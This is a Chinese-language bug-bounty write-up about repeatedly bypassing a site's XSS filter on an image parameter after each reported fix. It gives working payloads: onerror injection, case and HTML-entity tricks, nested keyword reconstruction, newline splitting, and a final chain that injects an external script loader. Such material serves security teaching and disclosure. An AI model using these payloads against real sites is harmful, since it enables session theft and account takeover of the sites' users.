一日在某站点发现一个找茬活动,感觉是另类的src就参与了一下。就发生了这次有趣的XSS测试过程。
0×00 开始
(注意1)XSS不仅存在于页面上直观所在的位置,所有用户输入的信息都有可能通过不同形式返回到页面上,因此直接操作数据包来查找XSS显得更加有效。
回到该站点,在该站点一处生成app处存在一处忘记过滤。
发送的数据包如下:
- appName=TEST&icon=&loadimage=%2Ftemplate201309%2F29%2Floadimage%2F1a8aaba1-42bd-401b-9995-0f7ba08f191b.png&diyAppid=0210bd39-de98-4a1b-b855-4b0a0732894a
经过测试发现其中loadimage参数未经过过滤,这也就是我说的隐藏的输入输出位,最终直接构造:
- loadimage=xxxxx"%20onerror="alert(1)"
0×01 觉醒
在漏洞上报之后,程序员觉醒了,由于涉及其它页面参数输出过滤的影响,无法直接使用粗暴的编码把”(双引号)过滤,而是使用一定的过滤规则来规避xss攻击。
(注意2)XSS绕过一般针对于程序员所使用的过滤规则的疏漏,但是首要目标应该是在程序员未过滤的点上,而只有规则的不严谨才有绕过的可能。
在得到客服的回复确认漏洞修复之后,再次回到该点进行测试,继而发现了有趣的情况。
测试代码:
- loadimage=xxxxx"%20onerror="alert(1)" à <img class="appicon_img" src="xxxxxx" ***(1)>
经过这个测试用例发现,在空格之后的内容经过了一次处理,将其中alert替换成了***,onerror=直接删除。
分析发现空格之后的内容会被直接删除,onXXX被直接删除。
于是结合过往经验,使用大小写来尝试绕过字符串替换。
测试代码:
- loadimage=xxxxx"onError="alert(1)" à<img class="appicon_img" src="xxxxxx"onError=”***(1)”>
于是我们利用了浏览器的一个特性,在解析的时候将双引号与其后内容分割,所以在源码中是:
- <img class="appicon_img" src="xxxxxx"onError=”***(1)”>
而解析过程中显示:
- <img class="appicon_img" src="xxxxxx" onError=”***(1)”>(自动添加空格)
之后就是要构造我们的alert。(只有alert才是我想要的,什么prompt,confirm都不是我想要的。)
这里要说到的就是转编码的利用。
详文可参考:
http://drops.wooyun.org/tips/689
处于html上下文的字符串将会优先进行一次html解码,而处于onXXXX、javascript:、script等标签之中的则处于javascript上下文,其中变量字符串将会执行一次javascript解码。
运用这个特性,我们可以在onerror事件当中使用html编码来构造任意字符,而其中所必须的字符为&,很幸运的时该字符并未被过滤。因此我可以使用其构造任意字符,达到绕过的效果。
直接构造:
- loadimage=xxxxx"onError="%26#x61lert(1)"
0×02 绝杀
再次提交客服,并得到修复确认后,又进行了一次测试,之后继续有趣。
(注意3)确定过滤规则是绕过限制的第一步,通过已知规则构造绕过payload来生成所需字符为最终目的。
绕过富文本大概的思路就是这样。
继续通过输入不同字符串来检查新增的过滤规则,最终得到几条有用的信息:
- <img src="1"onerroonerrorr=r= /> ==> <img src="1"onerror>
- <img src="1"onerror===”xxx” /> ==> <img src="1" =”xxx” />
本以为结合一下就成了,没想到变成这样:
- <img src="1"onerroonerrorr=r= onerror===”xxx”/> ==> <img src="1" />
初步分析等到的规则:
1、onxxx= 将会去除on以及=和它们之间的内容
2、有 = 号就会检查前面有没有on
3、tab %20(空格)之后的内容全部清除
4、碰到双引号就停止删除
大概统计了一下以上的过滤规则,就可以开始构造payload了。
使用src=”1″onerroonerrorr=r生成onerror。
使用%0a(换行)来分割导致过滤不起作用。
最终完成了整条payload:
- <img src="1"onerroonerrorr=r%0a="prompt(/just kidding!/)" />
(这次不计较与alert了,使用上一条方法即可。)
最终截图:
同样可以解析成功!
0×03 利用
完整的XSS一定需要附带利用的过程,可完整构造payload还需要考虑很多情况,比如关键字符串的替换、输出点允许的最大字长、是否可影响其他用户或管理员。
最终侦查该点,长度为262个字符,替换了script、create等字符,不过通过之前记录下来的方法完全可以利用。
Payload:
- <img/src="1" onerroonerrorr=r%0a="window.s=document.cre%26#61teElement(String.fromCh%26#61rCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(1,2,3,4,5,6,7,8);document.body.%26#61ppendChild(window.s)">
即使你的xss平台URL很长,也可以通过利用短域名压缩的方式达到一个较低的水平。
0×04 总结
新手在找XSS的时候总是存在一些盲点,无法全面的获取用户输入位以及该点的输出页面,对于存储型XSS来说,输出的页面不局限于当前页面。
探查程序的代码逻辑是绕过的根本,fuzz虽然提高了效率,但是想要准确的发现问题必须有要针对性的构造语句。
另外一些领悟可以移驾gainover所写的一篇短文:
http://zone.wooyun.org/content/1557
0×05 后话
最后一次绕过是在5.12,不知道之后该站程序员会怎么样去处理这个问题。